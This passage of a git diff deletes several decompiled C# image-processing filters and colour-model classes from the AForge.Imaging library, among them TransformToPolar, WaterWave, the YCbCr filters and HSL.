byte* ptr = (byte*)sourceData.ImageData.ToPointer(); - byte* ptr2 = (byte*)destinationData.ImageData.ToPointer(); - int stride = sourceData.Stride; - int num11 = destinationData.Stride - width2 * num; - double[] array = new double[width2]; - double[] array2 = new double[width2]; - double[] array3 = new double[width2]; - for (int i = 0; i < width2; i++) - { - double num12 = System.Math.PI * -2.0 * (double)i / (double)width2 + num10; - array[i] = System.Math.Cos(num12); - array2[i] = System.Math.Sin(num12); - double num13 = ((num12 > 0.0) ? num12 : (0.0 - num12)) % System.Math.PI; - if (num13 > System.Math.PI / 2.0) - { - num13 = System.Math.PI - num13; - } - array3[i] = num5 * ((num13 > num9) ? (num7 / System.Math.Sin(num13)) : (num6 / System.Math.Cos(num13))); - } - for (int j = 0; j < height2; j++) - { - double num14 = (double)j / (double)num4; - if (!mapFromTop) - { - num14 = 1.0 - num14; - } - for (int k = 0; k < width2; k++) - { - double num15 = num8 + array3[k]; - double num16 = num14 * num15; - double num17 = num6 + num16 * (mapBackwards ? (0.0 - array[k]) : array[k]); - double num18 = num7 - num16 * array2[k]; - int num19 = (int)num17; - int num20 = (int)num18; - int num21 = ((num19 == num2) ? num19 : (num19 + 1)); - double num22 = num17 - (double)num19; - double num23 = 1.0 - num22; - int num24 = ((num20 == num3) ? num20 : (num20 + 1)); - double num25 = num18 - (double)num20; - double num26 = 1.0 - num25; - byte* ptr4; - byte* ptr3 = (ptr4 = ptr + (nint)num20 * (nint)stride); - ptr3 += (nint)num19 * (nint)num; - ptr4 += (nint)num21 * (nint)num; - byte* ptr6; - byte* ptr5 = (ptr6 = ptr + (nint)num24 * (nint)stride); - ptr5 += (nint)num19 * (nint)num; - ptr6 += (nint)num21 * (nint)num; - int num27 = 0; - while (num27 < num) - { - *ptr2 = (byte)(num26 * (num23 * (double)(int)(*ptr3) + num22 * (double)(int)(*ptr4)) + num25 * (num23 * (double)(int)(*ptr5) + num22 * (double)(int)(*ptr6))); - num27++; - ptr2++; - ptr3++; - ptr4++; - ptr5++; - ptr6++; - } - } - ptr2 += num11; - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/TransformToPolar.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/TransformToPolar.cs deleted file mode 100644 index 365de9c..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/TransformToPolar.cs +++ /dev/null @@ -1,247 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class TransformToPolar : BaseTransformationFilter -{ - private const double Pi2 = System.Math.PI * 2.0; - - private const double PiHalf = System.Math.PI / 2.0; - - private double circleDepth = 1.0; - - private double offsetAngle; - - private bool mapBackwards; - - private bool mapFromTop = true; - - private Color fillColor = Color.White; - - private Size newSize = new Size(200, 200); - - private bool useOriginalImageSize = true; - - private Dictionary formatTranslations = new Dictionary(); - - public double CirlceDepth - { - get - { - return circleDepth; - } - set - { - circleDepth = System.Math.Max(0.0, System.Math.Min(1.0, value)); - } - } - - public double OffsetAngle - { - get - { - return offsetAngle; - } - set - { - offsetAngle = System.Math.Max(-360.0, System.Math.Min(360.0, value)); - } - } - - public bool MapBackwards - { - get - { - return mapBackwards; - } - set - { - mapBackwards = value; - } - } - - public bool MapFromTop - { - get - { - return mapFromTop; - } - set - { - mapFromTop = value; - } - } - - public Color FillColor - { - get - { - return fillColor; - } - set - { - fillColor = value; - } - } - - public Size NewSize - { - get - { - return newSize; - } - set - { - newSize = new Size(System.Math.Max(1, System.Math.Min(10000, value.Width)), System.Math.Max(1, System.Math.Min(10000, value.Height))); - } - } - - public bool UseOriginalImageSize - { - get - { - return useOriginalImageSize; - } - set - { - useOriginalImageSize = value; - } - } - - public override Dictionary FormatTranslations => formatTranslations; - - public TransformToPolar() - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - formatTranslations[(PixelFormat)139273] = (PixelFormat)139273; - formatTranslations[(PixelFormat)2498570] = (PixelFormat)2498570; - formatTranslations[(PixelFormat)925707] = (PixelFormat)925707; - } - - protected override Size CalculateNewImageSize(UnmanagedImage sourceData) - { - if (!useOriginalImageSize) - { - return newSize; - } - return new Size(sourceData.Width, sourceData.Height); - } - - protected unsafe override void ProcessFilter(UnmanagedImage sourceData, UnmanagedImage destinationData) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - int num = Image.GetPixelFormatSize(destinationData.PixelFormat) / 8; - int width = sourceData.Width; - int height = sourceData.Height; - int num2 = width - 1; - int num3 = height - 1; - int width2 = destinationData.Width; - int height2 = destinationData.Height; - double num4 = 1.0 - circleDepth; - double num5 = (double)(width2 - 1) / 2.0; - double num6 = (double)(height2 - 1) / 2.0; - double num7 = ((num5 < num6) ? num5 : num6); - num7 -= num7 * num4; - double num8 = System.Math.Atan2(num6, num5); - double num9 = offsetAngle / 180.0 * System.Math.PI; - if (num9 < 0.0) - { - num9 = System.Math.PI * 2.0 - num9; - } - num9 += 7.853981633974483; - byte* ptr = (byte*)sourceData.ImageData.ToPointer(); - byte* ptr2 = (byte*)destinationData.ImageData.ToPointer(); - int stride = sourceData.Stride; - int num10 = destinationData.Stride - width2 * num; - byte r = fillColor.R; - byte b = fillColor.B; - byte g = fillColor.G; - byte a = fillColor.A; - byte b2 = (byte)(0.2125 * (double)(int)r + 0.7154 * (double)(int)g + 0.0721 * (double)(int)b); - for (int i = 0; i < height2; i++) - { - double num11 = (double)i - num6; - double num12 = num11 * num11; - for (int j = 0; j < width2; j++) - { - double num13 = (double)j - num5; - double num14 = System.Math.Sqrt(num13 * num13 + num12); - double num15 = System.Math.Atan2(num11, num13); - double num16 = ((num15 > 0.0) ? num15 : (0.0 - num15)); - if (num16 > System.Math.PI / 2.0) - { - num16 = System.Math.PI - num16; - } - double num17 = ((num16 > num8) ? (num6 / System.Math.Sin(num16)) : (num5 / System.Math.Cos(num16))); - double num18 = num7 + num17 * num4; - if (num14 < num18 + 1.0) - { - num15 += num9; - num15 %= System.Math.PI * 2.0; - double num19 = num14 / num18 * (double)num3; - if (num19 > (double)num3) - { - num19 = num3; - } - if (!mapFromTop) - { - num19 = (double)num3 - num19; - } - double num20 = num15 / (System.Math.PI * 2.0) * (double)num2; - if (mapBackwards) - { - num20 = (double)num2 - num20; - } - int num21 = (int)num20; - int num22 = ((num21 == num2) ? num21 : (num21 + 1)); - double num23 = num20 - (double)num21; - double num24 = 1.0 - num23; - int num25 = (int)num19; - int num26 = ((num25 == num3) ? num25 : (num25 + 1)); - double num27 = num19 - (double)num25; - double num28 = 1.0 - num27; - byte* ptr4; - byte* ptr3 = (ptr4 = ptr + (nint)num25 * (nint)stride); - ptr3 += (nint)num21 * (nint)num; - ptr4 += (nint)num22 * (nint)num; - byte* ptr6; - byte* ptr5 = (ptr6 = ptr + (nint)num26 * (nint)stride); - ptr5 += (nint)num21 * (nint)num; - ptr6 += (nint)num22 * (nint)num; - int num29 = 0; - while (num29 < num) - { - *ptr2 = (byte)(num28 * (num24 * (double)(int)(*ptr3) + num23 * (double)(int)(*ptr4)) + num27 * (num24 * (double)(int)(*ptr5) + num23 * (double)(int)(*ptr6))); - num29++; - ptr2++; - ptr3++; - ptr4++; - ptr5++; - ptr6++; - } - continue; - } - if (num == 1) - { - *ptr2 = b2; - } - else - { - ptr2[2] = r; - ptr2[1] = g; - *ptr2 = b; - if (num > 3) - { - ptr2[3] = a; - } - } - ptr2 += num; - } - ptr2 += num10; - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/VerticalRunLengthSmoothing.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/VerticalRunLengthSmoothing.cs deleted file mode 100644 index e1ad44a..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/VerticalRunLengthSmoothing.cs +++ /dev/null @@ -1,88 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class VerticalRunLengthSmoothing : BaseInPlacePartialFilter -{ - private int maxGapSize = 10; - - private bool processGapsWithImageBorders; - - private Dictionary formatTranslations = new Dictionary(); - - public int MaxGapSize - { - get - { - return maxGapSize; - } - set - { - maxGapSize = System.Math.Max(1, System.Math.Min(1000, value)); - } - } - - public bool ProcessGapsWithImageBorders - { - get - { - return processGapsWithImageBorders; - } - set - { - processGapsWithImageBorders = value; - } - } - - public override Dictionary FormatTranslations => formatTranslations; - - public VerticalRunLengthSmoothing() - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - } - - public VerticalRunLengthSmoothing(int maxGapSize) - : this() - { - MaxGapSize = maxGapSize; - } - - protected unsafe override void ProcessFilter(UnmanagedImage image, Rectangle rect) - { - int left = rect.Left; - int num = left + rect.Width; - int height = rect.Height; - int stride = image.Stride; - byte* ptr = (byte*)image.ImageData.ToPointer() + (nint)rect.Top * (nint)stride + left; - for (int i = left; i < num; i++) - { - byte* ptr2 = ptr; - byte* ptr3 = ptr2; - byte* ptr4 = ptr2 + (nint)stride * (nint)height; - while (ptr2 < ptr4) - { - byte* ptr5 = ptr2; - int num2 = 0; - while (ptr2 < ptr4 && *ptr2 == 0) - { - ptr2 += stride; - num2++; - } - if (num2 <= maxGapSize && (processGapsWithImageBorders || (ptr5 != ptr3 && ptr2 != ptr4))) - { - for (; ptr5 < ptr2; ptr5 += stride) - { - *ptr5 = byte.MaxValue; - } - } - for (; ptr2 < ptr4 && *ptr2 != 0; ptr2 += stride) - { - } - } - ptr++; - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/WaterWave.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/WaterWave.cs deleted file mode 100644 index 6ce8d76..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/WaterWave.cs +++ /dev/null @@ -1,140 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class WaterWave : BaseFilter -{ - private Dictionary formatTranslations = new Dictionary(); - - private int xWavesCount = 5; - - private int yWavesCount = 5; - - private int xWavesAmplitude = 10; - - private int yWavesAmplitude = 10; - - public int HorizontalWavesCount - { - get - { - return xWavesCount; - } - set - { - xWavesCount = System.Math.Max(1, System.Math.Min(10000, value)); - } - } - - public int VerticalWavesCount - { - get - { - return yWavesCount; - } - set - { - yWavesCount = System.Math.Max(1, System.Math.Min(10000, value)); - } - } - - public int HorizontalWavesAmplitude - { - get - { - return xWavesAmplitude; - } - set - { - xWavesAmplitude = System.Math.Max(0, System.Math.Min(10000, value)); - } - } - - public int VerticalWavesAmplitude - { - get - { - return yWavesAmplitude; - } - set - { - yWavesAmplitude = System.Math.Max(0, System.Math.Min(10000, value)); - } - } - - public override Dictionary FormatTranslations => formatTranslations; - - public WaterWave() - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - formatTranslations[(PixelFormat)139273] = (PixelFormat)139273; - formatTranslations[(PixelFormat)2498570] = (PixelFormat)2498570; - } - - protected unsafe override void ProcessFilter(UnmanagedImage source, UnmanagedImage destination) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - int num = Image.GetPixelFormatSize(source.PixelFormat) / 8; - int width = source.Width; - int height = source.Height; - int stride = source.Stride; - int stride2 = destination.Stride; - int num2 = stride2 - width * num; - int num3 = height - 1; - int num4 = width - 1; - byte* ptr = (byte*)source.ImageData.ToPointer(); - byte* ptr2 = (byte*)destination.ImageData.ToPointer(); - double num5 = System.Math.PI * 2.0 * (double)xWavesCount / (double)width; - double num6 = System.Math.PI * 2.0 * (double)yWavesCount / (double)height; - for (int i = 0; i < height; i++) - { - double num7 = System.Math.Sin(num6 * (double)i) * (double)yWavesAmplitude; - for (int j = 0; j < width; j++) - { - double num8 = (double)j + num7; - double num9 = (double)i + System.Math.Cos(num5 * (double)j) * (double)xWavesAmplitude; - if (num8 >= 0.0 && num9 >= 0.0 && num8 < (double)width && num9 < (double)height) - { - int num10 = (int)num9; - int num11 = ((num10 == num3) ? num10 : (num10 + 1)); - double num12 = num9 - (double)num10; - double num13 = 1.0 - num12; - int num14 = (int)num8; - int num15 = ((num14 == num4) ? num14 : (num14 + 1)); - double num16 = num8 - (double)num14; - double num17 = 1.0 - num16; - byte* ptr3 = ptr + (nint)num10 * (nint)stride + (nint)num14 * (nint)num; - byte* ptr4 = ptr + (nint)num10 * (nint)stride + (nint)num15 * (nint)num; - byte* ptr5 = ptr + (nint)num11 * (nint)stride + (nint)num14 * (nint)num; - byte* ptr6 = ptr + (nint)num11 * (nint)stride + (nint)num15 * (nint)num; - int num18 = 0; - while (num18 < num) - { - *ptr2 = (byte)(num13 * (num17 * (double)(int)(*ptr3) + num16 * (double)(int)(*ptr4)) + num12 * (num17 * (double)(int)(*ptr5) + num16 * (double)(int)(*ptr6))); - num18++; - ptr2++; - ptr3++; - ptr4++; - ptr5++; - ptr6++; - } - } - else - { - int num19 = 0; - while (num19 < num) - { - *ptr2 = 0; - num19++; - ptr2++; - } - } - } - ptr2 += num2; - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/YCbCrExtractChannel.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/YCbCrExtractChannel.cs deleted file mode 100644 index af89cdd..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/YCbCrExtractChannel.cs +++ /dev/null @@ -1,88 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class YCbCrExtractChannel : BaseFilter -{ - private short channel; - - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public short Channel - { - get - { - return channel; - } - set - { - if (value != 0 && value != 1 && value != 2) - { - throw new ArgumentException("Invalid channel was specified."); - } - channel = value; - } - } - - public YCbCrExtractChannel() - { - formatTranslations[(PixelFormat)137224] = (PixelFormat)198659; - formatTranslations[(PixelFormat)139273] = (PixelFormat)198659; - formatTranslations[(PixelFormat)2498570] = (PixelFormat)198659; - } - - public YCbCrExtractChannel(short channel) - : this() - { - Channel = channel; - } - - protected unsafe override void ProcessFilter(UnmanagedImage sourceData, UnmanagedImage destinationData) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - int num = Image.GetPixelFormatSize(sourceData.PixelFormat) / 8; - int width = sourceData.Width; - int height = sourceData.Height; - int num2 = sourceData.Stride - width * num; - int num3 = destinationData.Stride - width; - RGB rGB = new RGB(); - YCbCr yCbCr = new YCbCr(); - byte* ptr = (byte*)sourceData.ImageData.ToPointer(); - byte* ptr2 = (byte*)destinationData.ImageData.ToPointer(); - byte b = 0; - for (int i = 0; i < height; i++) - { - int num4 = 0; - while (num4 < width) - { - rGB.Red = ptr[2]; - rGB.Green = ptr[1]; - rGB.Blue = *ptr; - YCbCr.FromRGB(rGB, yCbCr); - switch (channel) - { - case 0: - b = (byte)(yCbCr.Y * 255f); - break; - case 1: - b = (byte)(((double)yCbCr.Cb + 0.5) * 255.0); - break; - case 2: - b = (byte)(((double)yCbCr.Cr + 0.5) * 255.0); - break; - } - *ptr2 = b; - num4++; - ptr += num; - ptr2++; - } - ptr += num2; - ptr2 += num3; - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/YCbCrFiltering.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/YCbCrFiltering.cs deleted file mode 100644 index db922e2..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/YCbCrFiltering.cs +++ /dev/null @@ -1,218 +0,0 @@ -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class YCbCrFiltering : BaseInPlacePartialFilter -{ - private Range yRange = new Range(0f, 1f); - - private Range cbRange = new Range(-0.5f, 0.5f); - - private Range crRange = new Range(-0.5f, 0.5f); - - private float fillY; - - private float fillCb; - - private float fillCr; - - private bool fillOutsideRange = true; - - private bool updateY = true; - - private bool updateCb = true; - - private bool updateCr = true; - - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public Range Y - { - get - { - return yRange; - } - set - { - yRange = value; - } - } - - public Range Cb - { - get - { - return cbRange; - } - set - { - cbRange = value; - } - } - - public Range Cr - { - get - { - return crRange; - } - set - { - crRange = value; - } - } - - public YCbCr FillColor - { - get - { - return new YCbCr(fillY, fillCb, fillCr); - } - set - { - fillY = value.Y; - fillCb = value.Cb; - fillCr = value.Cr; - } - } - - public bool FillOutsideRange - { - get - { - return fillOutsideRange; - } - set - { - fillOutsideRange = value; - } - } - - public bool UpdateY - { - get - { - return updateY; - } - set - { - updateY = value; - } - } - - public bool UpdateCb - { - get - { - return updateCb; - } - set - { - updateCb = value; - } - } - - public bool UpdateCr - { - get - { - return updateCr; - } - set - { - updateCr = value; - } - } - - public YCbCrFiltering() - { - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - formatTranslations[(PixelFormat)139273] = (PixelFormat)139273; - formatTranslations[(PixelFormat)2498570] = (PixelFormat)2498570; - } - - public YCbCrFiltering(Range yRange, Range cbRange, Range crRange) - : this() - { - this.yRange = yRange; - this.cbRange = cbRange; - this.crRange = crRange; - } - - protected unsafe override void ProcessFilter(UnmanagedImage image, Rectangle rect) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_000b: Invalid comparison between Unknown and I4 - int num = (((int)image.PixelFormat == 137224) ? 3 : 4); - int left = rect.Left; - int top = rect.Top; - int num2 = left + rect.Width; - int num3 = top + rect.Height; - int num4 = image.Stride - rect.Width * num; - RGB rGB = new RGB(); - YCbCr yCbCr = new YCbCr(); - byte* ptr = (byte*)image.ImageData.ToPointer(); - ptr += top * image.Stride + left * num; - for (int i = top; i < num3; i++) - { - int num5 = left; - while (num5 < num2) - { - bool flag = false; - rGB.Red = ptr[2]; - rGB.Green = ptr[1]; - rGB.Blue = *ptr; - YCbCr.FromRGB(rGB, yCbCr); - if (yCbCr.Y >= yRange.Min && yCbCr.Y <= yRange.Max && yCbCr.Cb >= cbRange.Min && yCbCr.Cb <= cbRange.Max && yCbCr.Cr >= crRange.Min && yCbCr.Cr <= crRange.Max) - { - if (!fillOutsideRange) - { - if (updateY) - { - yCbCr.Y = fillY; - } - if (updateCb) - { - yCbCr.Cb = fillCb; - } - if (updateCr) - { - yCbCr.Cr = fillCr; - } - flag = true; - } - } - else if (fillOutsideRange) - { - if (updateY) - { - yCbCr.Y = fillY; - } - if (updateCb) - { - yCbCr.Cb = fillCb; - } - if (updateCr) - { - yCbCr.Cr = fillCr; - } - flag = true; - } - if (flag) - { - YCbCr.ToRGB(yCbCr, rGB); - ptr[2] = rGB.Red; - ptr[1] = rGB.Green; - *ptr = rGB.Blue; - } - num5++; - ptr += num; - } - ptr += num4; - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/YCbCrLinear.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/YCbCrLinear.cs deleted file mode 100644 index 323bcf6..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/YCbCrLinear.cs +++ /dev/null @@ -1,193 +0,0 @@ -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class YCbCrLinear : BaseInPlacePartialFilter -{ - private Range inY = new Range(0f, 1f); - - private Range inCb = new Range(-0.5f, 0.5f); - - private Range inCr = new Range(-0.5f, 0.5f); - - private Range outY = new Range(0f, 1f); - - private Range outCb = new Range(-0.5f, 0.5f); - - private Range outCr = new Range(-0.5f, 0.5f); - - private Dictionary formatTranslations = new Dictionary(); - - public Range InY - { - get - { - return inY; - } - set - { - inY = value; - } - } - - public Range InCb - { - get - { - return inCb; - } - set - { - inCb = value; - } - } - - public Range InCr - { - get - { - return inCr; - } - set - { - inCr = value; - } - } - - public Range OutY - { - get - { - return outY; - } - set - { - outY = value; - } - } - - public Range OutCb - { - get - { - return outCb; - } - set - { - outCb = value; - } - } - - public Range OutCr - { - get - { - return outCr; - } - set - { - outCr = value; - } - } - - public override Dictionary FormatTranslations => formatTranslations; - - public YCbCrLinear() - { - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - formatTranslations[(PixelFormat)139273] = (PixelFormat)139273; - formatTranslations[(PixelFormat)2498570] = (PixelFormat)2498570; - } - - protected unsafe override void ProcessFilter(UnmanagedImage image, Rectangle rect) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - int num = Image.GetPixelFormatSize(image.PixelFormat) / 8; - int left = rect.Left; - int top = rect.Top; - int num2 = left + rect.Width; - int num3 = top + rect.Height; - int num4 = image.Stride - rect.Width * num; - RGB rGB = new RGB(); - YCbCr yCbCr = new YCbCr(); - float num5 = 0f; - float num6 = 0f; - float num7 = 0f; - float num8 = 0f; - float num9 = 0f; - float num10 = 0f; - if (inY.Max != inY.Min) - { - num5 = (outY.Max - outY.Min) / (inY.Max - inY.Min); - num6 = outY.Min - num5 * inY.Min; - } - if (inCb.Max != inCb.Min) - { - num7 = (outCb.Max - outCb.Min) / (inCb.Max - inCb.Min); - num8 = outCb.Min - num7 * inCb.Min; - } - if (inCr.Max != inCr.Min) - { - num9 = (outCr.Max - outCr.Min) / (inCr.Max - inCr.Min); - num10 = outCr.Min - num9 * inCr.Min; - } - byte* ptr = (byte*)image.ImageData.ToPointer(); - ptr += top * image.Stride + left * num; - for (int i = top; i < num3; i++) - { - int num11 = left; - while (num11 < num2) - { - rGB.Red = ptr[2]; - rGB.Green = ptr[1]; - rGB.Blue = *ptr; - YCbCr.FromRGB(rGB, yCbCr); - if (yCbCr.Y >= inY.Max) - { - yCbCr.Y = outY.Max; - } - else if (yCbCr.Y <= inY.Min) - { - yCbCr.Y = outY.Min; - } - else - { - yCbCr.Y = num5 * yCbCr.Y + num6; - } - if (yCbCr.Cb >= inCb.Max) - { - yCbCr.Cb = outCb.Max; - } - else if (yCbCr.Cb <= inCb.Min) - { - yCbCr.Cb = outCb.Min; - } - else - { - yCbCr.Cb = num7 * yCbCr.Cb + num8; - } - if (yCbCr.Cr >= inCr.Max) - { - yCbCr.Cr = outCr.Max; - } - else if (yCbCr.Cr <= inCr.Min) - { - yCbCr.Cr = outCr.Min; - } - else - { - yCbCr.Cr = num9 * yCbCr.Cr + num10; - } - YCbCr.ToRGB(yCbCr, rGB); - ptr[2] = rGB.Red; - ptr[1] = rGB.Green; - *ptr = rGB.Blue; - num11++; - ptr += num; - } - ptr += num4; - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/YCbCrReplaceChannel.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/YCbCrReplaceChannel.cs deleted file mode 100644 index fc80d31..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/YCbCrReplaceChannel.cs +++ /dev/null @@ -1,179 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class YCbCrReplaceChannel : BaseInPlacePartialFilter -{ - private short channel; - - private Bitmap channelImage; - - private UnmanagedImage unmanagedChannelImage; - - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public short Channel - { - get - { - return channel; - } - set - { - if (value != 0 && value != 1 && value != 2) - { - throw new ArgumentException("Invalid YCbCr channel was specified."); - } - channel = value; - } - } - - public Bitmap ChannelImage - { - get - { - return channelImage; - } - set - { - //IL_000f: Unknown result type (might be due to invalid IL or missing references) - //IL_0019: Invalid comparison between Unknown and I4 - if (value == null) - { - throw new NullReferenceException("Channel image was not specified."); - } - if ((int)((Image)value).PixelFormat != 198659) - { - throw new InvalidImagePropertiesException("Channel image should be 8bpp indexed image (grayscale)."); - } - channelImage = value; - unmanagedChannelImage = null; - } - } - - public UnmanagedImage UnmanagedChannelImage - { - get - { - return unmanagedChannelImage; - } - set - { - //IL_000f: Unknown result type (might be due to invalid IL or missing references) - //IL_0019: Invalid comparison between Unknown and I4 - if (value == null) - { - throw new NullReferenceException("Channel image was not specified."); - } - if ((int)value.PixelFormat != 198659) - { - throw new InvalidImagePropertiesException("Channel image should be 8bpp indexed image (grayscale)."); - } - channelImage = null; - unmanagedChannelImage = value; - } - } - - private YCbCrReplaceChannel() - { - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - formatTranslations[(PixelFormat)139273] = (PixelFormat)139273; - formatTranslations[(PixelFormat)2498570] = (PixelFormat)2498570; - } - - public YCbCrReplaceChannel(short channel, Bitmap channelImage) - : this() - { - Channel = channel; - ChannelImage = channelImage; - } - - public YCbCrReplaceChannel(short channel, UnmanagedImage channelImage) - : this() - { - Channel = channel; - UnmanagedChannelImage = channelImage; - } - - protected unsafe override void ProcessFilter(UnmanagedImage image, Rectangle rect) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - int num = Image.GetPixelFormatSize(image.PixelFormat) / 8; - int width = image.Width; - int height = image.Height; - int left = rect.Left; - int top = rect.Top; - int num2 = left + rect.Width; - int num3 = top + rect.Height; - int num4 = image.Stride - rect.Width * num; - BitmapData val = null; - int num5 = 0; - byte* ptr; - if (channelImage != null) - { - if (width != ((Image)channelImage).Width || height != ((Image)channelImage).Height) - { - throw new InvalidImagePropertiesException("Channel image size does not match source image size."); - } - val = channelImage.LockBits(new Rectangle(0, 0, width, height), (ImageLockMode)1, (PixelFormat)198659); - ptr = (byte*)val.Scan0.ToPointer(); - num5 = val.Stride; - } - else - { - if (width != unmanagedChannelImage.Width || height != unmanagedChannelImage.Height) - { - throw new InvalidImagePropertiesException("Channel image size does not match source image size."); - } - ptr = (byte*)(void*)unmanagedChannelImage.ImageData; - num5 = unmanagedChannelImage.Stride; - } - int num6 = num5 - rect.Width; - RGB rGB = new RGB(); - YCbCr yCbCr = new YCbCr(); - byte* ptr2 = (byte*)image.ImageData.ToPointer(); - ptr2 += top * image.Stride + left * num; - ptr += top * num5 + left; - for (int i = top; i < num3; i++) - { - int num7 = left; - while (num7 < num2) - { - rGB.Red = ptr2[2]; - rGB.Green = ptr2[1]; - rGB.Blue = *ptr2; - YCbCr.FromRGB(rGB, yCbCr); - switch (channel) - { - case 0: - yCbCr.Y = (float)(int)(*ptr) / 255f; - break; - case 1: - yCbCr.Cb = (float)(int)(*ptr) / 255f - 0.5f; - break; - case 2: - yCbCr.Cr = (float)(int)(*ptr) / 255f - 0.5f; - break; - } - YCbCr.ToRGB(yCbCr, rGB); - ptr2[2] = rGB.Red; - ptr2[1] = rGB.Green; - *ptr2 = rGB.Blue; - num7++; - ptr2 += num; - ptr++; - } - ptr2 += num4; - ptr += num6; - } - if (val != null) - { - channelImage.UnlockBits(val); - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/HSL.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/HSL.cs deleted file mode 100644 index 2902210..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/HSL.cs +++ /dev/null @@ -1,108 +0,0 @@ -using System; - -namespace AForge.Imaging; - -public class HSL -{ - public int Hue; - - public float Saturation; - - public float Luminance; - - public HSL() - { - } - - public HSL(int hue, float saturation, float luminance) - { - Hue = hue; - Saturation = saturation; - Luminance = luminance; - } - - public static void FromRGB(RGB rgb, HSL hsl) - { - float num = (float)(int)rgb.Red / 255f; - float num2 = (float)(int)rgb.Green / 255f; - float num3 = (float)(int)rgb.Blue / 255f; - float num4 = System.Math.Min(System.Math.Min(num, num2), num3); - float num5 = System.Math.Max(System.Math.Max(num, num2), num3); - float num6 = num5 - num4; - hsl.Luminance = (num5 + num4) / 2f; - if (num6 == 0f) - { - hsl.Hue = 0; - hsl.Saturation = 0f; - return; - } - hsl.Saturation = (((double)hsl.Luminance <= 0.5) ? (num6 / (num5 + num4)) : (num6 / (2f - num5 - num4))); - float num7 = ((num == num5) ? ((num2 - num3) / 6f / num6) : ((num2 != num5) ? (2f / 3f + (num - num2) / 6f / num6) : (1f / 3f + (num3 - num) / 6f / num6))); - if (num7 < 0f) - { - num7 += 1f; - } - if (num7 > 1f) - { - num7 -= 1f; - } - hsl.Hue = (int)(num7 * 360f); - } - - public static HSL FromRGB(RGB rgb) - { - HSL hSL = new HSL(); - FromRGB(rgb, hSL); - return hSL; - } - - public static void ToRGB(HSL hsl, RGB rgb) - { - if (hsl.Saturation == 0f) - { - rgb.Red = (rgb.Green = (rgb.Blue = (byte)(hsl.Luminance * 255f))); - } - else - { - float num = (float)hsl.Hue / 360f; - float num2 = (((double)hsl.Luminance < 0.5) ? (hsl.Luminance * (1f + hsl.Saturation)) : (hsl.Luminance + hsl.Saturation - hsl.Luminance * hsl.Saturation)); - float v = 2f * hsl.Luminance - num2; - rgb.Red = (byte)(255f * Hue_2_RGB(v, num2, num + 1f / 3f)); - rgb.Green = (byte)(255f * Hue_2_RGB(v, num2, num)); - rgb.Blue = (byte)(255f * Hue_2_RGB(v, num2, num - 1f / 3f)); - } - rgb.Alpha = byte.MaxValue; - } - - public RGB ToRGB() - { - RGB rGB = new RGB(); - ToRGB(this, rGB); - return rGB; - } - - private static float Hue_2_RGB(float v1, float v2, float vH) - { - if (vH < 0f) - { - vH += 1f; - } - if (vH > 1f) - { - vH -= 1f; - } - if (6f * vH < 1f) - { - return v1 + (v2 - v1) * 6f * vH; - } - if (2f * vH < 1f) - { - return v2; - } - if (3f * vH < 2f) - { - return v1 + (v2 - v1) * (2f / 3f - vH) * 6f; - } - return v1; - } -} diff --git 